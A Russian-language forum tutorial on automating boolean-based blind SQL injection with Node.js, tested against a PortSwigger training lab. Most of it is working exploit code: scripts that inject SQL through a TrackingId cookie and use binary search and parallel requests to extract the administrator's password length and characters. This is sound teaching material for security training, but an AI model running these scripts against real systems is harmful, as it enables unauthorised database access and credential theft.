Статья Автоматизация Boolean based Blind SQL Injection на Node.js

nodejs.jpg

Введение

Boolean based Blind SQL Injection - это техника инъекции, которая заставляет приложение возвращать различное содержимое в зависимости от логического результата (TRUE или FALSE) при запросе к реляционной базе данных. Результат позволяет судить о том, истинна или ложна используемая полезная нагрузка, даже если никакие данные из базы не раскрываются в явном виде. Таким образом, становится возможно раскрытие данных, например, посимвольным подбором искомого значения.

Естественно, что ручной дамп базы данных при такой инъекции крайне неэффективен. Существуют мощные инструменты, позволяющие доставать данные при слепых инъекциях в автоматическом режиме, например, широко известный sqlmap. Но ввиду того, что SQL инъекции могут возникать в различных местах приложения (GET параметры, POST body, Headers и т.д.), запросы к базам данных требуют специального синтаксиса в зависимости от типа этих баз данных (MYSQL, PostgeSQL, Oracle и т.д.), а ответ приложения, позволяющий идентифицировать истинность/ложность запроса, вообще является уникальным в каждом отдельном случае, существование полностью автоматического инструмента, гарантирующего 100% вероятность эксплуатации, является утопией.

Неоднократно, столкнувшись с отказом со стороны sqlmap (при всем уважении к нему и его создателям, зачастую его вполне достаточно), появилась необходимость создания полуавтоматических скриптов, которые позволяют максимально гибко настроить SQL инъекцию в ручном режиме, при этом делая всю монотонную работу автоматически.

Так как у меня бэкграунд фронтенд разработчика, то для реализации задачи я выбрал JavaScript и его серверную среду выполнения - Node.js. Никаких претензий к явно более популярному для подобных задач Python не имею, просто выбрал то, что ближе. Да и вообще алгоритм гораздо важнее, чем язык на котором написана программа.

Далее я опишу процесс разработки, не просто вывалив на читателя гору кода, применимого в частном случае, а показав посредством каких рассуждений были созданы эти скрипты. Надеюсь, это поможет кому-то создать свои инструменты для любых других задач.

Разработка

Лучше всего двигаться небольшими итерациями и сразу на примере проверять то, что получается. В качестве цели для тестирования скриптов была выбрана лабораторная работа с PortSwigger ( ). Далее будет спойлер, поэтому, если вы еще не проходили данную лабораторную работу, то советую сделать это до прочтения статьи, это поможет прочувствовать необходимость оптимизации. Почему составлен тот или иной SQL запрос, описано в лабораторной, не будем на этом акцентировать внимание.

Итак, мы нашли SQL инъекцию, определили тип БД, поняли, что она boolean based, различаем true и false ответы по появлению определенного контента на странице приложения.
Теперь можно определить длину искомого значения будь то имя базы, таблицы, колонки или значения. Напишем для этого отдельный скрипт.

1) Устанавливаем node.js и пакетный менеджер npm (если они отсутствуют):
Bash:
apt install nodejs npm
2) Создаем папку проекта и инициализируем ее как Node.js проект:
Bash:
mkdir sql && cd sql && npm init

Появятся два файла: package.json и package-lock.json. Они необходимы для установления зависимостей кода и библиотек.

3) Установим библиотеку node-fetch, позволяющую использовать браузерный Fetch API для http запросов на Node.js. Можно использовать другие библиотеки и модули. Для меня fetch знаком из браузера, поэтому роднее.

Bash:
npm install node-fetch

4) Пишем асинхронную функцию, которая принимает предполагаемую длину в качестве аргумента и возвращает логическое значение в зависимости от результата сравнения в SQL запросе (не итоговый код!)

JavaScript:
import fetch from "node-fetch";

async function findLength(length) {
  //  Значение, которое появляется на странице в случае истинного SQL запроса
  const flag = "Welcome";

  // URL уязвимого приложения
  const url = new URL(
    "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login"
  );

  // В этом объекте помещаем все, что касается http запроса
  const options = {
    method: "GET",
    headers: {
      Cookie: `TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)=${length})='a`,
      "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
    },
    // body: '', Если бы был POST
  };
  const response = await fetch(url, options);
  const responseText = await response.text();
  return(responseText.includes(flag));
};

Далее можно было бы, используя цикл for, последовательно вызывать функцию с аргументами от 1 до n, где n длина искомого значения. Рано или поздно, в случае правильного составленного запроса, скрипт бы вернул true.
Но это неэффективное решение. Во первых, значение может быть длинным, например, хэш пароля в 64 символа потребовал бы 64 http запроса. Во вторых, большое количество запросов вызовет подозрение у систем защиты приложения.

Так как мы двигаемся по отсортированному массиву значений (от 1 до n), для оптимизации поиска можно применить алгоритм бинарного поиска. ( )

5) Дорабатываем скрипт с учетом алгоритма бинарного поиска и получаем итоговый вариант.

JavaScript:
import fetch from "node-fetch";

async function findLength() {
  //  Значение, которое появляется на странице в случае истинного SQL запроса
  const flag = "Welcome";

  // Минимальная и максимальная предполагаемая длина искомого значения
  // Если скрипт вернул end, но это не верный ответ, увеличиваем значение end (Костыль, а куда без них?)
  let start = 1;
  let end = 128;

  // Обязательно проводим сравнение в SQL запросе только с помощью оператора >.
  // Также не забываем включить в запрос итерируемое значение middle.
  while (true) {
    let middle = Math.floor((start + end) / 2);

    // URL уязвимого приложения
    const url = new URL(
      "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login"
    );

    // В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.)
    const options = {
      method: "GET",
      headers: {
        Cookie: `TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)>${middle})='a`,
        "User-Agent":
          "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
      },
      // body: '', Если бы был POST
    };
    const response = await fetch(url, options);
    const responseText = await response.text();
    const greaterThanMiddle = responseText.includes(flag);
    const twoValues = end - start <= 1;
    if (twoValues && greaterThanMiddle) {
      return end;
    } else if (twoValues && !greaterThanMiddle) {
      return start;
    } else if (greaterThanMiddle) {
      start = middle + 1;
    } else {
      end = middle;
    }
  }
}

// Вызываем функцию и замеряем время подбора длины
console.log("Please wait...");
const timeBefore = new Date();
const answ = await findLength();
const timeAfter = new Date();
const seconds = Math.round((timeAfter - timeBefore) / 1000);
console.log("Value length:", answ, "Spend time:", seconds, "seconds");

Изменяя SQL запрос, можно определять длины любых значений из базы, а бинарный поиск позволяет значительно ускорить процесс итерации. Так, для нахождения длины в диапазоне 1-128 символов, будет сделано не более 7 запросов.

6) Имея алгоритм для поиска длины, напишем второй скрипт для подбора значения. Код функции findChar() во многом похож на findLength() из предыдущего скрипта, только теперь наш диапазон это печатные значения кодировки ASCII, а также в SQL запросе используется дополнительная переменная i для обозначения индекса итерируемого символа. ( ).

Так как символы на различных позициях значения независимы друг от друга, то и проводить итерации можно паралельно. За это будет отвечать дополнительная функция findValue(). Она запускает паралельные функции findChar() и ждет завершения выполнения всех, после чего возвращает значение искомой величины, соединив найденные символы. Так достигается оптимизация, время выполнения скрипта при таком сценарии равно самому долгому времени подбора отдельного символа.

JavaScript:
import fetch from "node-fetch";

// Длина искомого значения, определенная из предыдущего скрипта или в ручную
const length = 20;
// Значение, которое появляется на странице в случае истинного SQL запроса
const flag = "Welcome";

async function findChar(i) {
  // Диапазон печатных значений кодировки ASCII
  let start = 32;
  let end = 126;

 
  // Обязательно проводим сравнение в SQL запросе только с помощью оператора >.
  // Также не забываем включить в запрос итерируемые значения middle и i.
  while (true) {
    let middle = Math.floor((start + end) / 2);

    // URL уязвимого приложения
    const url = new URL(
      "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login"
    );

    // В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.)
    const options = {
      method: "GET",
      headers: {
        Cookie: `TrackingId=BlzXFEUoJcpSPeyv' and (select ascii(substring(password,${i},1)) from users where username='administrator')>${middle}-- `,
        "User-Agent":
          "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
      },
      // body: '', Если бы был POST
    };
    const response = await fetch(url, options);
    const responseText = await response.text();
    const greaterThanMiddle = responseText.includes(flag);
    const twoValues = end - start <= 1;
    if (twoValues && greaterThanMiddle) {
      return end;
    } else if (twoValues && !greaterThanMiddle) {
      return start;
    } else if (greaterThanMiddle) {
      start = middle + 1;
    } else {
      end = middle;
    }
  }
}

async function findValue() {
  const requestArray = [];
  for (let i = 1; i <= length; i++) {
    requestArray.push(findChar(i));
  }
  const responseArray = await Promise.all(requestArray);
  const value = responseArray.reduce(
    (previous, current) => previous + String.fromCharCode(current),
    ""
  );
  return value;
}

// Вызываем функцию и замеряем время подбора значения
console.log("Please wait...");
const timeBefore = new Date();
const answ = await findValue();
const timeAfter = new Date();
const seconds = Math.round((timeAfter - timeBefore) / 1000);
console.log("Value:", answ, "Spend time:", seconds, "seconds");

Решение обозначенной выше лабораторной с PortSwigger с использованием скриптов заняло 5 секунд.

sqliScripts.png


Заключение

Таким образом, написано два полуавтоматических скрипта, подходящих под решение широкого круга задач. Часть переменных при решении новых задач нужно изменять вручную. Но цели изобретать колесо (sqlmap) и не стояло. Ручная настройка в данном случае является достоинством, так как в руках понимающего специалиста позволит решить то, что sqlmap бы не смог. Код крайне прост. Конечно, можно было бы запускать два скрипта одной командой или настроить автоматический подбор полезной нагрузки, но, на мой взгляд, это не соответсвует принципу Паррето (20% труда = 80% результата). Код значительно усложнится, при этом возрастет количество отказов и время эксплуатации.

При желании, немного изменив код, можно подстроить скрипты под решение time based SQLi. Оставляю ссылку на свой github c исходниками кода. (GitHub - C0de4you/sql). После скачивания необходимо установить зависимости:
Bash:
npm install

Всем успехов!
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!